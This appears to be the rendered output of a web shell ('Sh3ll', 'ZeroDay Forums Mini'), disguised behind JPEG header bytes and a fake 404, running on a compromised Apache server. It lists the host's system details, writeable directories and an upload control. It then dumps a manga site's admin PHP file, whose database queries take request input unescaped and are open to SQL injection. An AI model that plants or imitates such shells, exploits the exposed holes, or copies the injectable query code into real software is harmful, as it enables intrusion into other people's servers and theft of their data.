����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/code/admin/posts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/lnovel/code/admin/posts/postchapter.php
<?php
$truyen_id = $CORE->input['id'] ?? 0;
if($truyen_id==0){
    return;
}
$row_truyen = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id' "));
$chuong_id = $CORE->input['chuong_id'] ?? 0;
$count = 1;
if($chuong_id==0){
    $row_chuong = $DB->get_colum_tb('tb_chuong');
    $row_count = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='$truyen_id' "));
    $count = $row_count['total'] + 1;
}else {
    $row_chuong = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong WHERE chuong_id='$chuong_id' "));
    $count = $row_chuong['chuong_pos'];

}

if($row_chuong['chuong_server']!=''){
    $arr_server = explode('@',$row_chuong['chuong_server']);
}
$q_sensitive_chap = $DB->query("SELECT * FROM tb_sensitive_chap ORDER BY sensitive_chap_pos");
$txt_op_sensitive_chap = '';
while($r_ensitive_chap = $DB->fetch_row($q_sensitive_chap)){
    if($row_chuong['sensitive_chap_id']!='' and strpos($row_chuong['sensitive_chap_id'],$r_ensitive_chap['sensitive_chap_id'].'@')!==false){
        $txt_op_sensitive_chap .= '<option value="'.$r_ensitive_chap['sensitive_chap_id'].'" selected>'.$r_ensitive_chap['sensitive_chap_name'].'</option>';
    }else{
        $txt_op_sensitive_chap .= '<option value="'.$r_ensitive_chap['sensitive_chap_id'].'">'.$r_ensitive_chap['sensitive_chap_name'].'</option>';
    }
}

$num_img = 0;
if($chuong_id>0){
    $q_img = $DB->query("SELECT * FROM tb_chuong_img WHERE chuong_id='$chuong_id' ORDER BY chuong_img_pos ASC ");
    $list_img = '';
    while($r_img = $DB->fetch_row($q_img)){
        $list_img .= '
        <div class="col-lg-3 col-md-4 col-sm-4 col-6 video position-relative mb-2">
                            <div class="card">
                                <img src="'.$r_img['domain'].'/'.$r_img['url_dir'].'/'.$r_img['file_name'].'" class="card-img-top" alt="'.$r_img['file_name'].'"></a>
                                <div class="card-body list-left-8-manga">
                                    <p class="card-text title-manga">'.$r_img['file_name'].'</p>
                                </div>
                            </div>
                        </div>
        ';
        $num_img++;
    }
}

if(isset($CORE->input['submitbt'])){
    $truyen_id = $CORE->input['id'] ?? 0;
    $chuong_id = $CORE->input['chuong_id'] ?? 0;
    //$chuong_server = $CORE->input['chuong_server'];
    $f = $CORE->input['f'];
    $txt_sensitive = '';
    if(isset($f['sensitive_chap_id']) and !empty($f['sensitive_chap_id'])){
        $txt_sensitive = implode('@',$f['sensitive_chap_id']).'@';
    }
    $url_get = $CORE->input['url_get'] ?? '';
    $txt_lock_to_date = NULL;
    if(isset($CORE->input['lock_to_date']) and $CORE->input['lock_to_date']!='') {
        $lock_to_date = $CORE->input['lock_to_date'];
        $txt_lock_to_date = date('Y-m-d H:i:s', strtotime($lock_to_date));
    }
    echo $txt_lock_to_date;
    exit();
    if($chuong_id==0){
        $arr_insert = array('truyen_id'=>$truyen_id,'chuong_server'=>'','chuong_name'=>$f['chuong_name'],'chuong_fname'=>$func->format_string($f['chuong_name']),'chuong_pos'=>$f['chuong_pos'],'chuong_number_img'=>0,'chuong_new'=>'','chuong_hit'=>0,'chuong_point'=>1,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>0,'sensitive_chap_id'=>$txt_sensitive,'lock_to_date'=>$txt_lock_to_date);
        $chuong_id = $DB->do_insert('tb_chuong',$arr_insert);
    }else{
        $arr_update = array('chuong_name'=>$f['chuong_name'],'chuong_fname'=>$func->format_string($f['chuong_name']),'chuong_pos'=>$f['chuong_pos'],'time_post'=>date('Y-m-d H:i:s'),'user_post'=>0,'sensitive_chap_id'=>$txt_sensitive,'lock_to_date'=>$txt_lock_to_date);
        $DB->do_update('tb_chuong',$arr_update," WHERE chuong_id='$chuong_id' ");
        if($url_get!='' or (isset($_FILES["zip_file"]) and $_FILES["zip_file"]["name"]!='')){
            delete_img_chapter($chuong_id);
        }
    }
    if($txt_lock_to_date!=NULL){
        $memcache->flush();
    }
    include 'lib/watermark.class.php';
    if($url_get!=''){
        include 'lib/simple_html_dom.php';
        $referer = 'https://1stkissmanga.me';
        $content = get_content_page_chap($url_get,$referer);
        $html = str_get_html($content);
        $i = 1;
        if(!is_dir('upload/tmp')){
            mkdir('upload/tmp',0755,true);
        }
        foreach ($html->find('div.reading-content div.page-break') as $val){
            $url_img = trim($val->find('img',0)->src);
            $content_img = get_content_page_chap($url_img,$referer);
            $img_local = 'upload/tmp/'.$i.'.jpg';
            file_put_contents($img_local, $content_img);

            if($arr_option['use_watermark']==1) {
                $watermark = new Watermark($img_local);
                $watermark->setWatermarkImage($arr_option['watermark']);
                switch ($arr_option['watermark_pos']) {
                    case 'bottom_right':
                        $watermark->setType(Watermark::BOTTOM_RIGHT);
                        break;
                    case 'top_right':
                        $watermark->setType(Watermark::TOP_RIGHT);
                        break;
                    case 'center':
                        $watermark->setType(Watermark::CENTER);
                        break;
                    case 'top_left':
                        $watermark->setType(Watermark::TOP_LEFT);
                        break;
                    case 'bottom_left':
                        $watermark->setType(Watermark::BOTTOM_LEFT);
                        break;
                }
                $a = $watermark->saveAs($img_local);
            }
            //Create an image object.
            $im = imagecreatefromjpeg($img_local);
            $newImagePath = 'upload/tmp/'.$i.'.webp';
            $quality = 100;
            imagewebp($im, $newImagePath, $quality);
            imagedestroy($im);
            unlink($img_local);
            $arr_img[] = $newImagePath;
            $i++;
        }
        $arr_img_return = post_ftp($arr_img,$truyen_id,$chuong_id);

    }else{
        //zip upload
        if($_FILES["zip_file"]["name"] and $_FILES["zip_file"]["name"]!='') {

            $filename = $_FILES["zip_file"]["name"];
            $source = $_FILES["zip_file"]["tmp_name"];
            $type = $_FILES["zip_file"]["type"];
            $name = explode(".", $filename);
            $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
            foreach($accepted_types as $mime_type) {
                if($mime_type == $type) {
                    $okay = true;
                    break;
                }
            }
            $continue = strtolower($name[1]) == 'zip' ? true : false;
            if(!$continue) {
                $message = "The file you are trying to upload is not a .zip file. Please try again.";
            }

            $filenoext = basename ($filename, '.zip');  // absolute path to the directory where zipper.php is in (lowercase)
            $filenoext = basename ($filenoext, '.ZIP');  // absolute path to the directory where zipper.php is in (when uppercase)
            $targetdir = 'upload/tmp';
            if(!is_dir($targetdir)){
                mkdir($targetdir,0755,true);
            }
            $targetzip = $targetdir.'/'.$filenoext.'.zip';
            /* here it is really happening */
            if(move_uploaded_file($source, $targetzip)) {
                $zip = new ZipArchive();
                if ($zip->open($targetzip) === true) {
                    /*for($i = 0; $i < $zip->numFiles; $i++) {
                        $filename = $zip->getNameIndex($i);
                        $fileinfo = pathinfo($filename);
                        $arr_img_zip[] = $fileinfo['basename'];
                    }*/
                    $zip->extractTo($targetdir);
                    $zip->close();
                }
                unlink($targetzip);

                $arr_list_file = scanDirAndSubdir($targetdir);

                $folder = end($arr_list_file);
                $last_key = array_key_last($arr_list_file);
                if(is_dir($folder)) {
                    unset($arr_list_file[$last_key]);
                }else{
                    $folder = $targetdir;
                }
                foreach($arr_list_file as $key=>$val){
                    $arr_img_zip[] = basename($val);
                }
                $message = "Your .zip file was uploaded and unpacked.";
            } else {
                echo "There was a problem with the upload. Please try again.";
                exit();
            }
            if(isset($arr_img_zip) and !empty($arr_img_zip)) {
                function cmp($a, $b)
                {
                    $arr_img_name_a = explode('.',$a);
                    $arr_img_name_b = explode('.',$b);
                    if(is_numeric($arr_img_name_a[0])) {
                        if ($arr_img_name_a[0] == $arr_img_name_b[0]) {
                            return 1;
                        }
                        return ($arr_img_name_a[0] > $arr_img_name_b[0]) ? 1 : -1;
                    }else{
                        if(strpos($arr_img_name_a[0],'_')===false and strpos($arr_img_name_a[0],'(')===false){
                            if (intval($arr_img_name_a[0]) == intval($arr_img_name_b[0])) {
                                return 1;
                            }
                            return (intval($arr_img_name_a[0]) > intval($arr_img_name_b[0])) ? 1 : -1;
                        }
                        if(strpos($arr_img_name_a[0],'_')!==false){
                            $name_a = intval(str_replace('pic_','',$arr_img_name_a[0]));
                            $name_b = intval(str_replace('pic_','',$arr_img_name_b[0]));
                            if ($name_a == $name_b) {
                                return 1;
                            }
                            return ($name_a > $name_b) ? 1 : -1;
                        }
                        if(strpos($arr_img_name_a[0],'(')!==false){
                            preg_match('#\((.*?)\)#is',$arr_img_name_a[0],$match_a);
                            $name_a = intval($match_a[1]);
                            preg_match('#\((.*?)\)#is',$arr_img_name_b[0],$match_b);
                            $name_b = intval($match_b[1]);
                            if ($name_a == $name_b) {
                                return 1;
                            }
                            return ($name_a > $name_b) ? 1 : -1;
                        }
                    }

                }
                usort ( $arr_img_zip , 'cmp');
                /*$arr_img_name = explode('.',$arr_img_zip[0]);
                if(is_numeric($arr_img_name[0])){
                    sort($arr_img_zip, SORT_NUMERIC);
                }else{
                    if(strpos($arr_img_name[0],'(')!==false){
                        sort($arr_img_zip, SORT_NUMERIC);
                    }else{
                        sort($arr_img_zip);
                    }
                }*/

                $i=1;
                foreach ($arr_img_zip as $img) {
                    $arr_img_name_file = explode('.',$img);
                    $img_local = $folder.'/'.$img;

                    $info   = getimagesize($img_local);

                    if($info['mime']!='image/webp') {

                        if($arr_option['use_watermark']==1) {
                            //watermark
                            $watermark = new Watermark($img_local);
                            $watermark->setWatermarkImage($arr_option['watermark']);
                            switch ($arr_option['watermark_pos']) {
                                case 'bottom_right':
                                    $watermark->setType(Watermark::BOTTOM_RIGHT);
                                    break;
                                case 'top_right':
                                    $watermark->setType(Watermark::TOP_RIGHT);
                                    break;
                                case 'center':
                                    $watermark->setType(Watermark::CENTER);
                                    break;
                                case 'top_left':
                                    $watermark->setType(Watermark::TOP_LEFT);
                                    break;
                                case 'bottom_left':
                                    $watermark->setType(Watermark::BOTTOM_LEFT);
                                    break;
                            }
                            $a = $watermark->saveAs($img_local);
                        }

                        //Create an image object.
                        /*$im = imagecreatefromjpeg($img_local);
                        $newImagePath = 'upload/tmp/' . $arr_img_name_file[0] . '.webp';
                        $quality = 100;
                        imagewebp($im, $newImagePath, $quality);
                        imagedestroy($im);
                        unlink($img_local);*/
                        $arr_img[] = $img_local;
                        $i++;
                    }else{
                        $newImagePath = $img_local.'.webp';
                        rename($img_local, $newImagePath);
                        $arr_img[] = $newImagePath;
                    }
                }

                $arr_img_return = post_ftp($arr_img, $truyen_id, $chuong_id);
            }
        }
    }
    if(!empty($arr_img_return)){
        //$DB->query("DELETE FROM tb_chuong_img WHERE truyen_id='$truyen_id' AND chuong_id='$chuong_id' ");
        foreach($arr_img_return as $key=>$val){
            $arr_insert_img = array('truyen_id'=>$truyen_id,'chuong_id'=>$chuong_id,'domain'=>$val['domain'],'url_dir'=>$val['url_dir'],'file_name'=>$val['file_name'],'path_of_storage'=>$val['path_of_storage'],'chuong_img_pos'=>$key,'time_post'=>date('Y-m-d H:i:s'),'user_post'=>0);
            $DB->do_insert('tb_chuong_img',$arr_insert_img);
        }
    }
    rrmdir('upload/tmp');
    //update follow
     $DB->query("UPDATE tb_follow SET already_read='' WHERE truyen_id='$truyen_id'");
    //update num img chap
    $row_count_img = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong_img WHERE chuong_id='$chuong_id'"));
    $DB->query("UPDATE tb_chuong SET chuong_number_img='".$row_count_img['total']."' WHERE chuong_id='$chuong_id' ");
    //update truyen
    $row_chuong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE truyen_id='".$truyen_id."' "));
    $DB->query("UPDATE tb_truyen SET truyen_sochuong='".$row_chuong['total']."',time_update='".date('Y-m-d H:i:s')."' WHERE truyen_id='$truyen_id'");
    $q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE truyen_id='".$truyen_id."' ORDER BY chuong_pos DESC LIMIT 2");
    $i=1;
    while($r_chuong = $DB->fetch_row($q_chuong)){
        if($i==1){
            $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhat_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhat_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhat_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhat_isnew='".$r_chuong['chuong_new']."' ,truyen_chuong_moinhat_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
        }
        if($i==2){
            if($r_chuong['chuong_id']>0){
                $DB->query("UPDATE tb_truyen SET truyen_chuong_moinhi_id='".$r_chuong['chuong_id']."',truyen_chuong_moinhi_name='".$r_chuong['chuong_name']."',truyen_chuong_moinhi_fname='".$r_chuong['chuong_fname']."',truyen_chuong_moinhi_isnew='".$r_chuong['chuong_new']."',truyen_chuong_moinhi_time='".$r_chuong['time_post']."' WHERE truyen_id='".$truyen_id."' ");
            }
        }
        $i++;
    }
    //update chuong
    $q_img = $DB->query("SELECT url_dir,file_name FROM tb_chuong_img WHERE chuong_id='" . $chuong_id . "' ORDER BY chuong_img_pos ASC");
    while($r_img = $DB->fetch_row($q_img)){
        $arr_url_img[] = $r_img['url_dir'] . '/' . $r_img['file_name'];
    }
    if(isset($arr_url_img) and !empty($arr_url_img)){
        $txt_url_img = json_encode($arr_url_img);
        $arr_insert_chuongimg = array('chuong_id'=>$chuong_id,'chuong_img_show'=>$txt_url_img);
        $row_check_chuongimg = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong_imgshow WHERE chuong_id='$chuong_id' "));
        if(!$row_check_chuongimg){
            $DB->do_insert('tb_chuong_imgshow',$row_check_chuongimg);
        }else{
            $DB->do_update('tb_chuong_imgshow',$row_check_chuongimg, " WHERE chuong_id='$chuong_id' ");
        }
    }
    close_popup('Updated!');
}
include ROOT_PATH . 'include/block/header_popup.php';
?>
    <style>
        #uploadForm label {
            margin: 2px;
            font-size: 1em;
        }

        #progress-bar {
            background-color: #12CC1A;
            color: #FFFFFF;
            width: 0%;
            -webkit-transition: width .3s;
            -moz-transition: width .3s;
            transition: width .3s;
            border-radius: 5px;
        }

        #targetLayer {
            width: 100%;
            text-align: center;
        }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.form/4.3.0/jquery.form.min.js" integrity="sha384-qlmct0AOBiA2VPZkMY3+2WqkHtIQ9lSdAsAn5RUJD/3vA5MKDgSGcdmIv4ycVxyn" crossorigin="anonymous"></script>
    <script>
        $(document).ready(function() {
            $('#uploadForm').submit(function(e) {
                if($('#manga_id').val()) {
                    e.preventDefault();
                    $('#loader-icon').show();
                    $(this).ajaxSubmit({
                        target:   '#targetLayer',
                        beforeSubmit: function() {
                            $("#progress-bar").width('0%');
                        },
                        uploadProgress: function (event, position, total, percentComplete){
                            $("#progress-bar").width(percentComplete + '%');
                            $("#progress-bar").html('<div id="progress-status" class="text-center">' + percentComplete +' %</div>');
                            if(percentComplete==100) {
                                $('#loader-icon').html('<img src="https://cdnjs.cloudflare.com/ajax/libs/lightbox2/2.11.3/images/loading.gif" /><br/>Extracting zip file and ftp upload!');
                            }
                        },
                        success:showResponse,
                        resetForm: true
                    });
                    return false;
                }
            });

        });
        function showResponse(responseText, statusText, xhr, $form)  {
            $('#loader-icon').hide();
            var manga_id = $('#manga_id').val();
            location.href="index.php?act=admin&code=posts&type=postchapter&id="+manga_id+"&chuong_id="+responseText;
        }
    </script>
    <div class="card">
        <div class="card-header bg-success">Post chapter manga <?php echo $row_truyen['truyen_name'];?></div>
        <div class="card-body" style="font-size: 12px;">
            <form method="post" id="uploadForm" action="zip_upload_one.php" enctype="multipart/form-data">
                <input type="hidden" value="<?php echo $truyen_id;?>" name="id" id="manga_id">
                <input type="hidden" value="<?php echo $chuong_id;?>" name="chuong_id">
                <?php
                $csrf_token = bin2hex(random_bytes(32));
                // Tên của file bạn muốn tạo
                $filename = "upload/logos/".$csrf_token.".txt";
                // Text bạn muốn chèn vào file
                $text = $csrf_token;
                // Sử dụng hàm fopen() để mở file cho việc ghi (w)
                // Nếu file không tồn tại, hàm fopen() sẽ tạo file mới
                $file = fopen($filename, "w") or die("Không thể mở file!");
                // Sử dụng hàm fwrite() để viết text vào file
                fwrite($file, $text);
                // Đóng file sau khi viết xong
                fclose($file);
                ?>
                <input type="hidden" name="csrf_token" value="<?php echo $csrf_token;?>">
                <div class="row">
                    <div class="col-sm-4">
                        <div class="form-group">
                            <label>Position</label>
                            <input type="text" name="f[chuong_pos]" class="form-control" value="<?php echo $count;?>" required>
                        </div>
                    </div>
                    <div class="col-sm-4">
                        <div class="form-group">
                            <label>Chap name</label>
                            <input type="text" name="f[chuong_name]" class="form-control" value="<?php echo $row_chuong['chuong_name'];?>" required>
                        </div>
                    </div>
                    <div class="col-sm-4">
                        <div class="form-group">
                            <label>Chap sensitive</label>
                            <select class="form-control select2" name="f[sensitive_chap_id][]" multiple>
                                <option value="0">---</option>
                                <?php echo $txt_op_sensitive_chap;?>
                            </select>
                        </div>
                    </div>
                </div>
                <div class="row">
                    <!--<div class="col-sm-6">
                        <div class="form-group">
                            <label>URL chapter get image (from https://1stkissmanga.me)</label>
                            <input type="text" name="url_get" class="form-control" value="">
                        </div>
                    </div>-->
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Lock chap to date:</label>
                            <input type="text" name="f[lock_to_date]" class="form-control" id="my_datetimepicker" value="<?php
                            if(!empty($row_chuong['lock_to_date']) ) {
                                echo date('d-m-Y H:i:s', strtotime($row_chuong['lock_to_date']));
                            }
                            ?>">
                        </div>
                    </div>
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Upload image chapter (.zip of file)</label>
                            <input type="file" class="form-control" name="zip_file" multiple>
                        </div>
                    </div>
                </div>

                <div class="row mt-2">
                    <input type="hidden" class="submit" name="submitbt">
                    <input type="submit" value="Submit" class="btn btn-success" />
                </div>

                <div class="row mt-2">
                    <div id="progress-bar"></div>
                </div>
                <div id="targetLayer"></div>
                <!--<div class="row">
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Chap new?</label>
                            <select name="f[chuong_new]" class="form-control">
                                <option value="">---</option>
                                <option value="Yes" <?php
/*                                    if($row_chuong['chuong_new']=='Yes'){echo 'selected';}
                                */?>>Yes</option>
                                <option value="No" <?php
/*                                if($row_chuong['chuong_new']=='No'){echo 'selected';}
                                */?>>No</option>
                            </select>
                        </div>
                    </div>
                    <div class="col-sm-6">
                        <div class="form-group">
                            <label>Server <?php
/*                                $continent = geoip_continent_code_by_name($func->get_ip_address());
                                if ($continent) {
                                    echo '(This host is located in: <span class="text-success">' . $arr_continent[$continent].'</span>)';
                                }
                                */?></label>
                            <select name="chuong_server[]" class="select2 form-control" multiple required>
                                <?php
/*                                echo $txt_op_server;
                                */?>
                            </select>
                        </div>
                    </div>
                </div>-->

            </form>
            <div id="loader-icon" style="display: none;">
                <img src="https://cdnjs.cloudflare.com/ajax/libs/galleriffic/2.0.1/css/loader.gif" />
            </div>
        </div>
        <div class="card-footer" id="footer_submit">
            <a class="dong m-l-5 btn btn-dark" href="javascript:void(0);">Close</a>
        </div>
    </div>

<?php
if($chuong_id>0){
?>
<div class="card">
    <div class="card-header">List images of chapter (<?php echo $num_img;?>)</div>
    <div class="card-body">
        <div class="row">
            <?php echo $list_img;?>
        </div>
    </div>
</div>
<?php } ?>

    <script>
        $('.gui_yeu_cau').click(function (){
            $('#footer_submit').html('<div class="spinner-border text-primary" role="status"><span class="sr-only">Loading...</span></div>');
            $('#form_hoan_tra .submit').click();
            return false;
        });
        $('.dong').click(function (){
            window.close();
        });
        $('#my_datetimepicker').datetimepicker({
            format:'d-m-Y H:i:s'
        });
    </script>
<?php
include ROOT_PATH . 'include/block/footer_popup.php';
exit();
?>

ZeroDay Forums Mini